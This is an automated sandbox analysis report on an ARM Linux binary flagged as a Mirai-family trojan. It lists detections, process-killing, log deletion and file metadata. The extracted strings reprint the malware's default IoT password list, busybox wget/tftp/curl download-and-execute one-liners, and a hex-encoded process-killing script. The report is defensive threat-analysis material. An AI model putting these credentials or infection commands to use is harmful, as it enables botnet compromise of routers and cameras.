Joe Sandbox Cloud Basic Analysis Report

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Linux Analysis Report
la.bot.arm5.elf

Overview

General Information

Sample name:la.bot.arm5.elf
Analysis ID:1543054
MD5:4f9a124ef5e88e88d37a137edb11bab8
SHA1:151ade1d3570a36e02347d0d41eacb9396cf97d0
SHA256:02d4980ca95f492a2326626703ae1a26e1038343183708d2f0d7b95ae1ab3d6b
Tags:elfuser-abuse_ch
Infos:

Detection

Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1543054
Start date and time:2024-10-27 07:27:06 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 5m 5s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.arm5.elf
Detection:MAL
Classification:mal56.evad.linELF@0/0@0/0

Warnings

  • Skipping network analysis since amount of network traffic is too extensive

Runtime Messages

Command:/tmp/la.bot.arm5.elf
PID:5401
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
thIs wEek on xLaB lEarNs nOthinG xd
Standard Error:

Process Tree

  • system is lnxubuntu20
  • cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: la.bot.arm5.elfReversingLabs: Detection: 28%
Source: la.bot.arm5.elfVirustotal: Detection: 32%Perma Link
Source: la.bot.arm5.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm5.elfString: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm5.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4p
Source: /tmp/la.bot.arm5.elf (PID: 5401)Socket: 127.0.0.1:1234Jump to behavior
Source: la.bot.arm5.elfString found in binary or memory: http:///curl.sh
Source: la.bot.arm5.elfString found in binary or memory: http:///wget.sh
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sampleString containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample.symtab present: no
Source: /tmp/la.bot.arm5.elf (PID: 5403)SIGKILL sent: pid: 936, result: successfulJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5476)SIGKILL sent: pid: 5474, result: successfulJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5505)SIGKILL sent: pid: 5503, result: successfulJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5530)SIGKILL sent: pid: 5528, result: successfulJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5564)SIGKILL sent: pid: 5562, result: successfulJump to behavior
Source: classification engineClassification label: mal56.evad.linELF@0/0@0/0

Data Obfuscation

barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.arm5.elf (PID: 5404)File: /etc/configJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5404)Directory: /root/.cacheJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5404)Directory: /root/.sshJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5404)Directory: /root/.configJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5404)Directory: /root/.localJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5404)Directory: /tmp/.X11-unixJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5404)Directory: /tmp/.Test-unixJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5404)Directory: /tmp/.font-unixJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5404)Directory: /tmp/.ICE-unixJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5404)Directory: /tmp/.XIM-unixJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5404)Directory: /etc/.javaJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/230/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/110/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/231/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/111/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/232/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/112/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/233/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/113/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/234/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/114/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/235/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/115/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/236/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/116/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/237/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/117/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/238/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/118/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/239/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/119/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/914/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/10/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/917/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/11/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/12/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/13/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/14/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/15/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/16/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/17/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/18/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/19/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/240/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/120/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/241/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/121/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/242/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/1/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/122/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/243/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/2/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/123/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/244/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/3/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/124/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/245/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/125/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/4/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/246/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/126/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/5/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/247/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/127/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/6/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/248/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/128/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/7/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/249/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/129/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/8/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/800/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/9/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/802/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/803/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/20/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/21/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/22/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/23/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/24/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/25/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/26/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/27/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/28/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/29/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/490/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/250/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/371/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/130/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/251/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/131/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/252/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/132/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/253/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/254/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/134/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/255/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/256/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/257/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/378/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/258/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/259/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/936/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/30/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/816/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/35/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/260/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/261/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/262/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/142/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/263/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/264/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/265/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/145/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/266/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5403)File opened: /proc/267/fdJump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Deletes system log files
Source: /tmp/la.bot.arm5.elf (PID: 5404)Log files deleted: /var/log/kern.logJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5401)Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm5.elf, 5401.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5474.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5476.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5503.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5505.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5528.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5530.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5562.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5564.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm5.elf
Source: la.bot.arm5.elf, 5401.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5474.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5476.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5503.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5505.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5528.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5530.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5562.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5564.1.000055c753bcc000.000055c753d1a000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 5401.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5474.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5476.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5503.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5505.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5528.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5530.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5562.1.000055c753bcc000.000055c753d1a000.rw-.sdmp, la.bot.arm5.elf, 5564.1.000055c753bcc000.000055c753d1a000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 5401.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5474.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5476.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5503.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5505.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5528.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5530.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5562.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmp, la.bot.arm5.elf, 5564.1.00007ffd22f65000.00007ffd22f86000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting		Valid AccountsWindows Management Instrumentation1
Scripting		Path Interception1
Hidden Files and Directories		1
OS Credential Dumping		11
Security Software Discovery		Remote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
Indicator Removal		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable MediaJunk DataExfiltration Over BluetoothNetwork Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1543054 Sample: la.bot.arm5.elf Startdate: 27/10/2024 Architecture: LINUX Score: 56 33 Multi AV Scanner detection for submitted file 2->33 8 la.bot.arm5.elf 2->8         started        process3 process4 10 la.bot.arm5.elf 8->10         started        13 la.bot.arm5.elf 8->13         started        15 la.bot.arm5.elf 8->15         started        signatures5 35 Sample tries to access files in /etc/config/ (typical for OpenWRT routers) 10->35 37 Deletes system log files 10->37 17 la.bot.arm5.elf 13->17         started        19 la.bot.arm5.elf 13->19         started        21 la.bot.arm5.elf 13->21         started        23 2 other processes 13->23 process6 process7 25 la.bot.arm5.elf 17->25         started        27 la.bot.arm5.elf 19->27         started        29 la.bot.arm5.elf 21->29         started        31 la.bot.arm5.elf 23->31         started       

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
la.bot.arm5.elf29%ReversingLabsLinux.Trojan.Mirai
la.bot.arm5.elf33%VirustotalBrowse

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
http:///wget.shla.bot.arm5.elffalse
    		unknown
    http:///curl.shla.bot.arm5.elffalse
      		unknown

      World Map of Contacted IPs

      ⊘No contacted IP infos

      Joe Sandbox View / Context

      IPs

      ⊘No context

      Domains

      ⊘No context

      ASNs

      ⊘No context

      JA3 Fingerprints

      ⊘No context

      Dropped Files

      ⊘No context

      Created / dropped Files

      ⊘No created / dropped files found

      Static File Info

      General

      File type:ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
      Entropy (8bit):6.049062610301722
      TrID:
      • ELF Executable and Linkable format (generic) (4004/1) 100.00%
      File name:la.bot.arm5.elf
      File size:75'964 bytes
      MD5:4f9a124ef5e88e88d37a137edb11bab8
      SHA1:151ade1d3570a36e02347d0d41eacb9396cf97d0
      SHA256:02d4980ca95f492a2326626703ae1a26e1038343183708d2f0d7b95ae1ab3d6b
      SHA512:5fb79e4dcceec0d1cfd34add8a92e3495531e0731b70b5c17770e2b3f3e45c69a603243d7cc7a7921806eb4a271b3fba1cd6c1e3b749dbdf095c69f0c89b8ead
      SSDEEP:1536:TKSEWP/+ocOvRbjSVeB3+tCYFiGXKWw6mPzdnzsT:2oP/+uRbjSVeButCAi8KvFJn
      TLSH:9073F785B9929A5BC6D446BBFE0F82CD372263D8E3DE3307CD14AF55368A56F092B140
      File Content Preview:.ELF...a..........(.........4...,'......4. ...(......................#...#...............#...#...#..d....E..........Q.td..................................-...L."....@..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

      Static ELF Info

      ELF header

      Class:ELF32
      Data:2's complement, little endian
      Version:1 (current)
      Machine:ARM
      Version Number:0x1
      Type:EXEC (Executable file)
      OS/ABI:ARM - ABI
      ABI Version:0
      Entry Point Address:0x8190
      Flags:0x2
      ELF Header Size:52
      Program Header Offset:52
      Program Header Size:32
      Number of Program Headers:3
      Section Header Offset:75564
      Section Header Size:40
      Number of Section Headers:10
      Header String Table Index:9

      Sections

      NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
      NULL0x00x00x00x00x0000
      .initPROGBITS0x80940x940x180x00x6AX004
      .textPROGBITS0x80b00xb00x1040c0x00x6AX0016
      .finiPROGBITS0x184bc0x104bc0x140x00x6AX004
      .rodataPROGBITS0x184d00x104d00x1eb40x00x2A004
      .ctorsPROGBITS0x223880x123880x80x00x3WA004
      .dtorsPROGBITS0x223900x123900x80x00x3WA004
      .dataPROGBITS0x2239c0x1239c0x3500x00x3WA004
      .bssNOBITS0x226ec0x126ec0x42900x00x3WA004
      .shstrtabSTRTAB0x00x126ec0x3e0x00x0001

      Program Segments

      TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
      LOAD0x00x80000x80000x123840x123846.07000x5R E0x8000.init .text .fini .rodata
